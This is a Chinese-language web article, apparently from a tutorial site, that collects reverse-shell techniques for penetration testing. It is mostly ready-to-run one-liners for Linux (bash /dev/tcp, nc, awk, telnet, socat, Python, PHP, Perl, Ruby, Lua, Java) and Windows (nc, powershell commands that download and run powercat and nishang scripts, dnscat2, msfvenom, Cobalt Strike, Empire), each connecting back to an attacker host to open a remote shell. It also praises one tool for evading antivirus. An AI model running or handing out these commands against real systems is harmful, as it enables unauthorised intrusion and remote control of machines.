目錄
- Linux 反彈shell
- Windows反彈shell
在滲透過(guò)程中,往往因?yàn)槎丝谙拗贫鵁o(wú)法直連目標(biāo)機(jī)器,此時(shí)需要通過(guò)反彈shell來(lái)獲取一個(gè)交互式shell,以便繼續(xù)深入。
反彈shell是打開內(nèi)網(wǎng)通道的第一步,也是權(quán)限提升過(guò)程中至關(guān)重要的一步。所有姿勢(shì)整理自網(wǎng)絡(luò),假設(shè),攻擊者主機(jī)為:192.168.99.242,本地監(jiān)聽1234端口,如有特殊情況以下會(huì)備注說(shuō)明。
Linux 反彈shell
姿勢(shì)一:bash反彈
bash -i > /dev/tcp/192.168.99.242/1234 0>1
base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
在線編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html
其他版本:
exec 5>/dev/tcp/192.168.99.242/1234;cat 5 | while read line; do $line 2>5 >5;done
exec /bin/sh 0/dev/tcp/192.168.99.242/1234 1>0 2>0
姿勢(shì)二:nc反彈
nc -e /bin/bash 192.168.99.242 1234
姿勢(shì)三:awk反彈
awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|getline c;close(c))while(c|getline)print|s;close(s)}'
姿勢(shì)四:telnet反彈
備注:需要在攻擊主機(jī)上分別監(jiān)聽1234和4321端口,執(zhí)行反彈shell命令后,在1234終端輸入命令,4321查看命令執(zhí)行后的結(jié)果。
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
姿勢(shì)五:socat反彈
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
姿勢(shì)六:Python反彈
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
姿勢(shì)七:PHP反彈
php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i 3 >3 2>3");'
姿勢(shì)八:Perl反彈
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">S");open(STDOUT,">S");open(STDERR,">S");exec("/bin/sh -i");};'
姿勢(shì)九:Ruby反彈
ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i %d >%d 2>%d",f,f,f)'
姿勢(shì)十:Lua反彈
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i 3 >3 2>3');"
姿勢(shì)十一:JAVA反彈
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5>/dev/tcp/192.168.99.242/1234;cat 5 | while read line; do $line 2>5 >5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
保存為Revs.java文件,編譯執(zhí)行,成功反彈shell。
javac Revs.java
java Revs
Windows反彈shell
姿勢(shì)一:nc反彈
netcat 下載:https://eternallybored.org/misc/netcat/
服務(wù)端反彈:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe
姿勢(shì)二:powershell反彈
powercat是netcat的powershell版本,功能免殺性都要比netcat好用的多。
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
下載到目標(biāo)機(jī)器本地執(zhí)行:
PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd
姿勢(shì)三:MSF反彈shell
使用msfvenom生成相關(guān)Payload
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
姿勢(shì)四:Cobalt strike反彈shell
1、配置監(jiān)聽器:點(diǎn)擊Cobalt Strike——>Listeners——>在下方Tab菜單Listeners,點(diǎn)擊add。
2、生成payload:點(diǎn)擊Attacks——>Packages——>Windows Executable,保存文件位置。
3、目標(biāo)機(jī)執(zhí)行powershell payload
姿勢(shì)五:Empire反彈shell
usestager windows/launcher_vbs
info
set Listener test
execute
姿勢(shì)六:nishang反彈shell
Reverse TCP shell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
Reverse UDP shell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234
姿勢(shì)七:Dnscat反彈shell
github項(xiàng)目地址:
https://github.com/iagox86/dnscat2
服務(wù)端:
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
目標(biāo)主機(jī):
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
到此這篇關(guān)于反彈shell的幾種姿勢(shì)小結(jié)的文章就介紹到這了,更多相關(guān)反彈shell內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
您可能感興趣的文章:- 詳解NC反彈shell的幾種方法
- 淺析Linux之bash反彈shell原理
- linux反彈shell的原理詳解
- python模擬菜刀反彈shell繞過(guò)限制【推薦】
- Linux下NC反彈shell命令(推薦)
- php反彈shell實(shí)現(xiàn)代碼